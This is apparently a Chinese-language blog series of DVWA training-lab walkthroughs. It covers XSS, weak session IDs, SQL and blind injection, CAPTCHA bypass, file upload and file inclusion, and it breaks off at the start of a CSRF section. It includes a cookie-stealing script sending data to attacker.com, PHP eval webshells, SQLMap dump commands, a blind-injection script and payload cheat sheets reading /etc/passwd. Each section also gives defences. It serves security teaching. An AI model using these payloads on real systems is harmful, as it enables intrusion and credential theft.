l1n6yun's Blog

记录学习的技能和遇到的问题

漏洞简介

存储型 XSS 是 XSS 里危害最大的。注入的恶意代码会被存到服务器数据库里,谁访问这个页面谁中招,不需要像反射型那样诱导用户点击链接。

这关主要学怎么利用存储型 XSS 做持久化攻击。

Low 级别

看代码:

1
2
3
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

消息和姓名都没过滤,直接存数据库。

攻击方法

在消息框注入:

1
<script>alert('Stored XSS')</script>

提交之后,每次打开这个页面都会弹窗,攻击持久化了。

偷 Cookie:

1
2
3
4
<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>

别人一访问,Cookie 就发到攻击者服务器了。

姓名框也能注,但有长度限制,可以改 HTML 或者用短的 payload:

1
<img src=x onerror=alert(1)>

Medium 级别

Medium 对消息做了过滤:

1
2
3
4
5
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );

$name = str_replace( '<script>', '', $name );

消息字段转义了,但姓名字段只过滤了 <script>,又是个漏洞。

攻击方法

姓名框用大小写混淆:

1
<Script>alert(1)</Script>

或者用其他标签:

1
<img src=x onerror=alert(1)>

双写绕过也行:

1
<scr<script>ipt>alert(1)</scr</script>ipt>

消息字段攻不破,就攻姓名字段,总有一个地方有漏洞。

High 级别

High 对姓名用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

各种姿势的 <script> 都能匹配到,但 XSS 不止这一种。

攻击方法

img 标签:

1
<img src=x onerror=alert(1)>

svg 标签:

1
<svg onload=alert(1)>

body 标签:

1
<body onload=alert(1)>

input 标签:

1
<input onfocus=alert(1) autofocus>

过滤 <script> 过滤了个寂寞。

Impossible 级别

Impossible 对两个字段都转义了:

1
2
$message = htmlspecialchars( $message );
$name = htmlspecialchars( $name );

htmlspecialchars() 把特殊字符转成 HTML 实体,注入的代码变成普通文本显示出来,不会执行。这才是正确做法。

存储型 XSS 危害

攻击方式 危害
偷 Cookie 拿登录凭证
键盘记录 记录用户输入
钓鱼 伪造登录表单
挂马 传播恶意软件
蠕虫 自动传播 XSS

存储型 XSS 打中一个人,所有访问的人都遭殃,危害比反射型大得多。

小结

存储型 XSS 防护要点:

  1. 所有输出都要用 htmlspecialchars() 转义
  2. 限制输入长度
  3. Cookie 设置 HttpOnly
  4. 配好 CSP
  5. 别想着黑名单过滤,转义就完事了

漏洞简介

XSS(跨站脚本攻击),老牌漏洞了。简单说就是把恶意 JavaScript 注入到网页里,别人打开这个页面脚本就执行了。反射型 XSS 是最常见的,恶意代码通过 URL 参数传进去,服务器原样返回,浏览器就执行了。

这关主要学怎么利用反射型 XSS 偷 Cookie 和搞事情。

XSS 类型

类型 说明
反射型 URL 传参,服务器反射回来
存储型 存服务器里,谁访问谁中招
DOM 型 纯前端操作,不经过服务器

Low 级别

看代码:

1
2
3
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

用户输入直接输出,啥过滤都没有。

攻击方法

测试 XSS:

1
<script>alert('XSS')</script>

弹窗了,确认有 XSS。

偷 Cookie:

1
<script>alert(document.cookie)</script>

外部加载脚本:

1
<script src="http://attacker.com/xss.js"></script>

img 标签也行:

1
<img src=x onerror="alert(document.cookie)">

![图片占位]

svg 标签:

1
<svg onload="alert(document.cookie)">

Medium 级别

Medium 过滤了 <script> 标签:

1
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

str_replace 这种方式,绕过方法太多了。

攻击方法

大小写混淆:

1
<Script>alert('XSS')</Script>

双写绕过:

1
<scr<script>ipt>alert('XSS')</scr</script>ipt>

中间的 <script> 被删了,剩下又拼成完整的标签了。

或者干脆不用 <script>

1
<img src=x onerror="alert(document.cookie)">
1
<body onload="alert('XSS')">
1
<input onfocus="alert('XSS')" autofocus>

High 级别

High 级别用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

不管你怎么写 <script>,大小写怎么混,中间怎么插字符,都能匹配到并删掉。

但 XSS 又不是只有 <script> 这一种。

攻击方法

img 标签:

1
<img src=x onerror="alert(document.cookie)">

svg 标签:

1
<svg onload="alert(document.cookie)">

body 标签:

1
<body onload="alert('XSS')">

input 标签:

1
<input onfocus="alert('XSS')" autofocus>

details 标签:

1
<details open ontoggle="alert('XSS')">

能触发 JS 的标签多了去了,过滤不过来的。

Impossible 级别

Impossible 级别用 htmlspecialchars() 转义:

1
$name = htmlspecialchars( $_GET[ 'name' ] );

<>"'& 这些特殊字符转成 HTML 实体,注入的代码就变成普通文本了。这才是正确的做法。

常用 XSS Payload

Payload 说明
<script>alert(1)</script> 基础测试
<img src=x onerror=alert(1)> 图片加载失败触发
<svg onload=alert(1)> SVG 加载触发
<body onload=alert(1)> 页面加载触发
<input onfocus=alert(1) autofocus> 自动聚焦触发
<details open ontoggle=alert(1)> 展开触发
<a href="javascript:alert(1)">click</a> 点击触发

小结

XSS 防护要点:

  1. 输出的时候用 htmlspecialchars() 转义
  2. Cookie 设置 HttpOnly
  3. 配好 CSP
  4. 别想着黑名单过滤,转义才是王道

漏洞简介

DOM 型 XSS 是个比较特殊的存在,攻击过程完全不经过服务器,纯前端搞定的。恶意代码通过 JavaScript 写进 DOM 里执行,服务端日志里都看不到啥异常。

这关主要学怎么利用 DOM 型 XSS。

DOM 型 XSS 原理

流程是这样的:

  1. 攻击者搞个带恶意代码的 URL
  2. 用户点进去,请求发到服务器
  3. 服务器返回正常页面(恶意代码不在里面)
  4. 浏览器执行 JS,从 URL 里读出恶意代码
  5. 恶意代码被写进 DOM 执行

服务器日志里看请求,发现不了 XSS 攻击痕迹。

Low 级别

Low 级别没服务端代码,纯前端 JavaScript:

1
2
3
4
if (window.location.search.indexOf('default') !== -1) {
var lang = decodeURIComponent(window.location.search.split('default=')[1]);
document.write("<option value='" + lang + "'>" + lang + "</option>");
}

URL 参数 default 直接写进 DOM,一点过滤都没有。

攻击方法

测试 XSS:

1
?default=<script>alert('XSS')</script>

![图片占位]

弹窗了,注入成功。

偷 Cookie:

1
?default=<script>alert(document.cookie)</script>

![图片占位]

也可以用 img 标签:

1
?default=<img src=x onerror=alert(1)>

Medium 级别

Medium 在服务端过滤了 <script

1
2
3
4
if( stripos( $default, "<script" ) !== false ) {
header( "location: ?default=English" );
exit;
}

但 DOM 型 XSS 又不是只有 <script> 这一种姿势。

攻击方法

用 img 标签:

1
?default=<img src=x onerror=alert(1)>

![图片占位]

用 svg 标签:

1
?default=<svg onload=alert(1)>

闭合 select 标签:

1
?default=</option></select><img src=x onerror=alert(1)>

![图片占位]

过滤 <script 过滤了个寂寞。

High 级别

High 级别用白名单验证:

1
2
3
4
5
6
7
8
9
10
switch( $_GET[ 'default' ] ) {
case "English":
case "French":
case "German":
case "Spanish":
break;
default:
header( "location: ?default=English" );
exit;
}

只允许四个值,服务端过滤得挺死。但别忘了 URL 锚点。

攻击方法

# 后面的东西不会发到服务器,但 JavaScript 能读到:

1
?default=English#<script>alert(1)</script>

![图片占位]

服务端只看到 default=English,白名单过了。但前端 JS 读的是整个 URL,后面的恶意代码照样执行。

也可以用 input 标签:

1
?default=English#<input onfocus=alert(1) autofocus>

Impossible 级别

Impossible 级别没特殊代码,但服务端白名单 + 前端转义:

1
2
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
lang = lang.replace(/</g, '&lt;').replace(/>/g, '&gt;');

<> 转义成 &lt;&gt;,恶意代码就不会被当成 HTML 执行了。

DOM 型 XSS 常见位置

位置 说明
document.location URL 参数
document.URL 完整 URL
document.referrer 来源页面
document.cookie Cookie
window.name 窗口名称
innerHTML HTML 内容
document.write() 直接写入 DOM
eval() 执行代码

小结

DOM 型 XSS 防护要点:

  1. 前端对动态内容要做 HTML 实体编码
  2. 能不用 innerHTMLdocument.write()eval() 就别用
  3. textContent 代替 innerHTML
  4. 配好 CSP
  5. URL 参数别直接塞进 DOM

漏洞简介

Session ID 是服务器识别用户身份的凭证,一般存在 Cookie 里。如果这个 ID 太简单、能猜出来,那攻击者就能冒充别的用户,这就是会话劫持。

这关主要学怎么分析和利用弱会话 ID。

Session 基础知识

先搞清楚几个概念:

概念 说明
Session 服务器端存用户会话数据
Session ID 标识会话的唯一字符串
Cookie 浏览器存的小数据
Session Cookie Cookie 里存的 Session ID

Low 级别

看代码:

1
2
$session_id = 1;
setcookie( 'dvwaSession', $session_id );

好家伙,Session ID 直接用自增数字,从 1 开始。

攻击方法

打开开发者工具看 Cookie:

1
2
3
dvwaSession=1
dvwaSession=2
dvwaSession=3

每次点一下就 +1,这也太好猜了。

攻击者随便枚举就能猜到别人的 Session ID:

1
curl -H "Cookie: dvwaSession=1" http://localhost:8080/...

这安全性跟没有一样。

Medium 级别

Medium 用时间戳当 Session ID:

1
2
$session_id = time();
setcookie( 'dvwaSession', $session_id );

攻击方法

看 Cookie:

1
2
dvwaSession=1711683600
dvwaSession=1711683605

看着挺长,其实就是 Unix 时间戳:

1
2
3
4
import datetime
timestamp = 1711683600
print(datetime.datetime.fromtimestamp(timestamp))
# 2024-03-29 10:00:00

知道大概什么时候生成的,就能推算出 Session ID 范围,然后枚举。虽然比自增数字难搞一点,但还是能预测。

High 级别

High 用 mt_rand() 生成随机数:

1
2
$session_id = mt_rand( 0, 9999999999 );
setcookie( 'dvwaSession', $session_id );

范围是 0 到 9999999999,看着挺大,但 mt_rand() 是伪随机,知道种子就能推算出序列。

攻击方法

收集一批 Session ID:

1
2
3
dvwaSession=1234567890
dvwaSession=9876543210
dvwaSession=5555555555

用统计工具分析规律,或者直接暴力枚举常见值。虽然没那么容易,但理论上还是能搞。

Impossible 级别

Impossible 级别用加密安全的随机数:

1
2
$session_id = sha1( uniqid( mt_rand( 0, 9999999999 ), true ) );
setcookie( 'dvwaSession', $session_id, time() + 3600, '/', '', true, true );

特点:

  1. uniqid() 加随机数生成唯一 ID
  2. sha1() 哈希增加熵
  3. 设置了 HttpOnlySecure 属性

这才是正确做法。

安全的 Session ID 特征

特征 说明
足够长 至少 128 位
随机 用加密安全随机数生成器
不可预测 猜不出来下一个
唯一 不同会话不同 ID
有有效期 过期就失效
属性 作用
HttpOnly JS 读不到,防 XSS 偷 Cookie
Secure 只走 HTTPS
SameSite 限制跨站带 Cookie
Path 限制作用路径
Domain 限制作用域名

小结

Session ID 安全要点:

  1. 用加密安全的随机数生成器,别用自增和时间戳
  2. ID 要够长,128 位起步
  3. Cookie 设置 HttpOnly 和 Secure
  4. 重要操作后重新生成 Session ID
  5. 设置合理的过期时间

漏洞简介

盲注,顾名思义就是”盲着注”。和普通注入不同,盲注拿不到数据库的回显,只能靠猜——通过页面不同的反应来判断猜得对不对。虽然麻烦,但能拿到数据就是好注入。

这关主要学布尔盲注和时间盲注。

盲注类型

类型 说明
布尔盲注 看页面返回判断条件真假
时间盲注 看响应时间判断条件真假
报错盲注 从报错信息里提取数据

常用函数

先记几个盲注常用的函数:

函数 说明
length(str) 字符串长度
substr(str,start,length) 截取字符串
ascii(str) 字符转 ASCII 码
if(condition,a,b) 条件判断
sleep(n) 延迟 n 秒

Low 级别

看代码:

1
2
3
4
5
6
7
8
9
$id = $_GET[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

if( mysqli_num_rows( $result ) > 0 ) {
// 用户存在
} else {
// 用户不存在
}

有注入点,但只告诉你”存在”或”不存在”,典型的布尔盲注场景。

手动盲注

第一步:确认注入

1
2
1' and 1=1#    -> 用户存在
1' and 1=2# -> 用户不存在

确认有盲注。

第二步:猜数据库名长度

1
2
3
4
1' and length(database())=1#   不存在
1' and length(database())=2# 不存在
...
1' and length(database())=4# 存在

数据库名 4 个字符。

第三步:逐字符猜

用二分法猜第一个字符的 ASCII 码:

1
2
3
4
1' and ascii(substr(database(),1,1))>97#    存在
1' and ascii(substr(database(),1,1))>100# 存在
1' and ascii(substr(database(),1,1))>120# 不存在
1' and ascii(substr(database(),1,1))=100# 存在

ASCII 码 100,就是字母 d

继续猜后面几个:

1
2
3
1' and ascii(substr(database(),2,1))=118#   -> v
1' and ascii(substr(database(),3,1))=119# -> w
1' and ascii(substr(database(),4,1))=97# -> a

数据库名是 dvwa

手动盲注是真累,猜一个名字就要发几十个请求。实际渗透还是用工具吧。

用 SQLMap

SQLMap 一条命令搞定:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" --dbs

upload successful

查表:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa --tables

upload successful

查字段:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa -T users --columns

upload successful

拖数据:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=low" -D dvwa -T users -C user,password --dump

upload successful

这就是工具的力量。

Medium 级别

Medium 级别用了 POST 提交加转义:

1
2
3
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

注意 $id 没引号,是数字型注入,单引号转义没用。

攻击方法

用 Burp 抓包改请求,或者直接用 SQLMap:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=medium" --dbs

High 级别

High 级别从 session 取参数,还加了 LIMIT 1

1
2
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

布尔盲注可能被 LIMIT 1 干扰,换时间盲注。

时间盲注

测试:

1
1' and sleep(5)#

如果响应卡了 5 秒,就说明有注入。

猜数据库名长度:

1
1' and if(length(database())=4,sleep(3),0)#

延迟 3 秒,长度是 4。

逐字符猜:

1
1' and if(ascii(substr(database(),1,1))=100,sleep(3),0)#

延迟 3 秒,第一个字符是 d

用 SQLMap:

1
sqlmap -u "http://localhost:3892/vulnerabilities/sqli_blind/" --cookie="PHPSESSID=m0rsgl5arvatrm36nuq4ngdim6;security=high" --level=3 --risk=2 --dbs

Impossible 级别

Impossible 级别用 PDO 预处理:

1
2
3
4
5
6
$id = $_GET[ 'id' ];
if( is_numeric( $id ) ) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

预处理 + 类型验证,注入不了。

自动化盲注脚本

写个 Python 脚本省得手工猜:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://localhost:3892/vulnerabilities/sqli_blind/"
cookies = {"PHPSESSID": "m0rsgl5arvatrm36nuq4ngdim6", "security": "low"}

result = ""
for i in range(1, 50):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{i},1))>{mid}#"
params = {"id": payload, "Submit": "Submit"}
r = requests.get(url, params=params, cookies=cookies)
if "User ID exists" in r.text:
low = mid + 1
else:
high = mid
if low == 32:
break
result += chr(low)
print(f"Database name: {result}")

print(f"Final result: {result}")

小结

盲注虽然慢,但只要有注入点就能拿数据。防护要点和普通 SQL 注入一样:

  1. 用预处理语句
  2. 输入要验证
  3. 错误信息统一处理,别让人看出来区别
  4. 能用工具就别手工

漏洞简介

SQL 注入,老牌漏洞之王了。简单说就是把恶意 SQL 语句塞到用户输入里,让数据库帮你执行。能读数据、改数据、删数据,运气好还能拿 shell。

这关主要学怎么通过 SQL 注入把数据库里的敏感信息拖出来。

注入类型

类型 说明
联合注入 用 UNION 合并查询结果
报错注入 从报错信息里拿数据
盲注 没回显,靠条件判断
时间盲注 靠响应时间判断

Low 级别

看代码:

1
2
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

用户输入直接拼进 SQL 语句,经典的注入点。

攻击过程

第一步:测注入点

输入个单引号 1',看反应:

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

报错了,确认有注入点。

第二步:数字段

order by 测试:

1
2
3
1' order by 1#   正常
1' order by 2# 正常
1' order by 3# 报错

说明查了 2 个字段。

第三步:找回显位置

1
-1' union select 1,2#

upload successful

两个位置都能回显。

第四步:查数据库

1
-1' union select 1,database()#

upload successful

数据库名是 dvwa

第五步:查表

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

upload successful

有两个表:guestbookusers

第六步:查字段

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

upload successful

字段挺多,关键是 userpassword

第七步:拖库

1
-1' union select user,password from users#

upload successful

拿到用户名和密码了,密码是 MD5 加密的。

第八步:破密码

找个 MD5 解密网站:

1
5f4dcc3b5aa765d61d8327deb882cf99 -> password

upload successful

搞定。

Medium 级别

Medium 用了 mysql_real_escape_string() 转义:

1
2
3
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

单引号双引号都被转义了,但注意看 SQL 语句,$id 没有用引号包起来,是数字型注入。

攻击方法

因为是 POST 提交,得用 Burp 抓包改。

判断字段:

1
id=-1 order by 2#

联合注入:

1
id=-1 union select 1,database()#

绕过单引号过滤:

查字段名的时候要用 table_name='users',但单引号被转义了。用十六进制绕过:

1
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

0x7573657273 就是 users 的十六进制。

High 级别

High 级别从 session 取参数,还在另一个页面显示结果:

1
2
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

加了个 LIMIT 1,以为能限制结果数量?注释掉不就行了。

攻击方法

直接注入,用 # 注释掉后面的 LIMIT 1

1
-1' union select user,password from users#

照样拖库。

Impossible 级别

Impossible 级别用了 PDO 预处理:

1
2
3
4
5
6
7
8
9
$id = $_GET[ 'id' ];
$id = stripslashes( $id );
$id = mysql_real_escape_string( $id );

if( is_numeric( $id ) ) {
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
}

SQL 和参数分离,预处理之后参数不会被当成 SQL 执行,这才是正确的姿势。

常用 Payload 速查

Payload 用途
' 测注入点
1' or '1'='1 永真
1' order by n# 数字段
-1' union select 1,database()# 查库名
-1' union select 1,version()# 查版本
-1' union select 1,user()# 查用户
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 查表
-1' union select 1,load_file('/etc/passwd')# 读文件

小结

SQL 注入防护要点:

  1. 用预处理语句,别拼接 SQL
  2. 输入要验证,数字就验证是不是数字
  3. 错误信息别暴露太详细
  4. 数据库用户权限给最小够用的
  5. 密码加密存储

漏洞简介

验证码这东西,本来是用来区分人和机器的。但如果验证码机制写得有问题,那跟没有也差不多,暴力破解、批量注册什么的照样搞。

这关主要学怎么绕过不安全的验证码。

验证码类型

先了解下常见的验证码:

类型 说明
图形验证码 识别图片里的字符
短信验证码 手机收验证码
邮箱验证码 邮箱收验证码
滑动验证码 拖滑块到指定位置
点击验证码 按顺序点文字

Low 级别

Low 级别用的是 reCAPTCHA,但验证逻辑有问题:

1
2
3
4
5
6
7
8
9
10
11
if( isset( $_POST[ 'Change' ] ) ) {
$hide = $_POST[ 'step' ];
if( $hide == '1' ) {
// 第一步:输入验证码
}
elseif( $hide == '2' ) {
// 第二步:直接改密码,不验证验证码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
}
}

流程分两步,但第二步根本不检查验证码,直接跳到第二步就行了。

绕过方法

  1. 抓包拦截改密码请求
  2. step=1 改成 step=2
  3. 删掉验证码相关参数
1
step=2&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,密码改完了

验证码成了摆设。

Medium 级别

Medium 级别在第二步检查了 passed_captcha 参数:

1
2
3
if( $hide == '2' && $_POST[ 'passed_captcha' ] == 'true' ) {
// 改密码
}

但问题是这参数是客户端传过来的,想传啥都行。

绕过方法

  1. 抓包
  2. 加个 passed_captcha=true 参数
1
step=2&passed_captcha=true&password_new=hacked&password_conf=hacked&Change=Change
  1. 发送,又绕过去了

客户端传来的东西哪能信啊。

High 级别

High 级别用 reCAPTCHA API 验证:

1
2
3
4
5
6
7
8
9
10
11
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
// 验证码错误
} else {
// 通过,改密码
}

这个真去调 Google API 验证了,不太好搞。

绕过方法

禁用 JavaScript:

有些验证码依赖前端 JS,禁用浏览器 JS 可能就失效了。

重放攻击:

如果验证码没做一次性使用,抓到验证成功的请求可以重复用。

伪造响应:

如果能拦截 API 响应,可以改成验证成功。

不过说实话,到 High 级别再绕已经比较难了,正常情况下不太现实。

Impossible 级别

Impossible 级别是正确做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]
);

if( !$resp->is_valid ) {
dvwaMessagePush( "reCAPTCHA incorrect" );
log_event( "CAPTCHA failed for user: " . dvwaCurrentUser() );
exit;
}

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

服务端验证,还加了 CSRF Token,验证失败还记日志。这才是正经的验证码实现。

常见绕过方式

绕过方式 说明
参数篡改 改验证相关参数
流程跳过 直接跳过验证步骤
重放攻击 验证成功的请求重复用
禁用 JS 有些前端验证能绕
打码平台 人工识别
OCR 识别 自动识别简单验证码

小结

验证码防护要点:

  1. 一定要在服务端验证,客户端的东西都不能信
  2. 验证码用完就失效,别让人重复用
  3. 设个有效期,过期作废
  4. 错误太多次就锁定
  5. 用成熟的方案,别自己瞎写

漏洞简介

文件上传漏洞,简单说就是能上传不该上传的东西,比如 WebShell。一旦传上去个 PHP 木马,服务器基本就归你了。这玩意危害是真的大。

这关主要学怎么绕过各种上传限制,拿到 WebShell。

常用 WebShell

先准备几个常用的:

1
<?php @eval($_POST['cmd']); ?>
1
<?php system($_GET['cmd']); ?>

简单粗暴,一个参数接收命令就完事。

Low 级别

看代码:

1
2
3
4
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 上传成功
}

啥检查都没有,直接保存,爱传啥传啥。

攻击方法

  1. 写个 shell.php,内容 <?php @eval($_POST['cmd']); ?>
  2. 直接上传
  3. 访问 http://localhost:3892/hackable/uploads/shell.php
  4. 拿蚁剑或者菜刀连上去,服务器就是你的了

太简单了,没啥好说的。

Medium 级别

Medium 检查了 Content-Type 和文件大小:

1
2
3
4
5
6
7
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 允许上传
}

只检查请求头里的 Content-Type,这玩意前端改不了但抓包工具能改。

绕过方法

改 Content-Type:

  1. 上传 shell.php,Burp 抓包
  2. Content-Type: application/octet-stream 改成 Content-Type: image/jpeg

upload successful

  1. 放行,上传成功

upload successful

图片马:

也可以做个图片马,把 PHP 代码塞图片里:

1
copy normal.jpg/b + shell.php/a webshell.jpg

或者直接追加:

1
echo "<?php @eval($_POST['cmd']); ?>" >> image.jpg

不过图片马需要配合文件包含漏洞才能执行,后面会说。

High 级别

High 级别检查后缀和图片特征了:

1
2
3
4
5
6
7
8
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);

if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" ||
strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// 允许上传
}

检查了:

  1. 后缀必须是 jpg、jpeg、png
  2. 文件要小于 100KB
  3. getimagesize() 验证是不是真图片

绕过方法

单纯改后缀和 Content-Type 不行了,得做图片马配合文件包含。

步骤 1:做图片马

1
copy logo.png/b + shell.php/a webshell.png

这样图片里就包含 PHP 代码了。

步骤 2:上传

上传 webshell.png,因为是真的图片,能过 getimagesize() 检查。

步骤 3:文件包含执行

图片本身不会执行 PHP,得用文件包含漏洞:

1
http://localhost:3892/vulnerabilities/fi/?page=../../hackable/uploads/webshell.png

步骤 4:蚁剑连接

URL 填文件包含的地址,就能连上 WebShell 了。

Impossible 级别

Impossible 级别是真安全:

1
2
3
4
5
6
7
$target_file   = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) {
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
}

图片会用 GD 库重新生成一遍,里面夹带的恶意代码全都没了。文件名还是随机 MD5,想猜都猜不到。

常见绕过方式总结

绕过方式 说明
改 Content-Type 抓包改 MIME 类型
双写后缀 shell.php.php
大小写混淆 shell.PhP
特殊后缀 .php5.phtml
空字节截断 shell.php%00.jpg(老版本 PHP)
图片马 配合文件包含
.htaccess 让服务器把图片当 PHP 执行
条件竞争 上传后赶在删除前访问

小结

文件上传防护要点:

  1. 白名单限制后缀,别用黑名单
  2. 检查文件真实类型,别只看 Content-Type
  3. 图片最好重绘一遍,去恶意代码
  4. 文件名随机化,别保留原名
  5. 上传目录禁止执行脚本

漏洞简介

文件包含漏洞,顾名思义就是用户输入被拿去包含了不该包含的文件。分两种:

  • LFI(本地文件包含):只能读服务器本地的文件
  • RFI(远程文件包含):能包含远程服务器上的文件,危害更大

这关主要学怎么利用这个漏洞读敏感文件和执行恶意代码。

Low 级别

看代码:

1
2
$file = $_GET[ 'page' ];
include( $file );

用户输入直接丢给 include(),一点过滤都没有,想包含啥都行。

本地文件包含(LFI)

读一下 /etc/passwd

1
?page=/etc/passwd

或者用相对路径跳目录:

1
?page=../../../../../etc/passwd

还能读 Apache 配置:

1
?page=/etc/apache2/apache2.conf

PHP 配置文件:

1
?page=/etc/php/7.4/apache2/php.ini

远程文件包含(RFI)

如果 PHP 配置了 allow_url_include = On,那就能包含远程文件:

1
?page=http://attacker.com/shell.txt

直接把远程的恶意代码包含进来执行,想想就刺激。

配合文件上传

如果还有文件上传漏洞,可以上传一个含恶意代码的图片,然后用文件包含去执行:

1
?page=../../hackable/uploads/malicious.jpg

Medium 级别

Medium 开始过滤了:

1
$file = str_replace( array( "http://", "https://", "../", "..\\" ), "", $file );

过滤了 http://https://../..\,但是用 str_replace 这种方式很容易绕。

绕过方法

双写绕过目录遍历:

1
?page=....//....//....//....//etc/passwd

过滤完 ../ 之后,剩下的 ../ 就拼出来了。

双写绕过远程包含:

1
?page=hthttp://tp://attacker.com/shell.txt

过滤完 http:// 就变成了 http://attacker.com/shell.txt

用其他协议:

1
?page=ftp://attacker.com/shell.txt

PHP 伪协议:

1
?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

这个还能把文件内容 base64 编码输出,读源码很好用。

High 级别

High 级别限制了文件名必须以 file 开头:

1
2
3
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// 拒绝访问
}

但是 file:// 协议也符合这个条件啊。

绕过方法

file:// 协议:

1
?page=file:///etc/passwd

虽然限制了文件名格式,但 file:// 协议能读任意本地文件,过滤了个寂寞。

Impossible 级别

Impossible 级别用了白名单:

1
2
3
4
5
6
$file = $_GET[ 'page' ];
$allowed_files = array( 'file1.php', 'file2.php', 'file3.php' );
if( !in_array( $file, $allowed_files ) ) {
$file = 'include.php';
}
include( $file );

只有在白名单里的文件才能包含,这才是正确的做法。

常用 Payload 速查

Payload 用途
?page=/etc/passwd 读 Linux 用户文件
?page=../../../../../etc/passwd 目录遍历
?page=php://filter/read=convert.base64-encode/resource=config.php 读 PHP 源码
?page=php://input 执行 POST 数据中的代码
?page=file:///etc/passwd file 协议读本地文件
?page=http://attacker.com/shell.txt 远程文件包含
?page=data://text/plain,<?php phpinfo();?> data 协议执行代码

小结

文件包含漏洞危害很大,防护要点:

  1. 用白名单限制可包含的文件
  2. 禁用远程文件包含 allow_url_include = Off
  3. open_basedir 限制 PHP 能访问的目录
  4. 过滤特殊字符虽然有用,但不如白名单靠谱

漏洞简介

CSRF,全称 Cross-Site Request Forgery,跨站请求伪造。简单说就是攻击者伪造一个请求,诱导已经登录的用户去点,然后用户不知不觉就帮攻击者干了一些事,比如改密码、转账之类的。

原理就是浏览器会自动带上 Cookie,所以只要用户登录了,请求发出去就带着身份信息,服务器分辨不出这是不是用户真的想做的操作。

这关的目标是通过 CSRF 修改用户密码。

Low 级别

看代码:

1
2
3
4
5
6
7
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

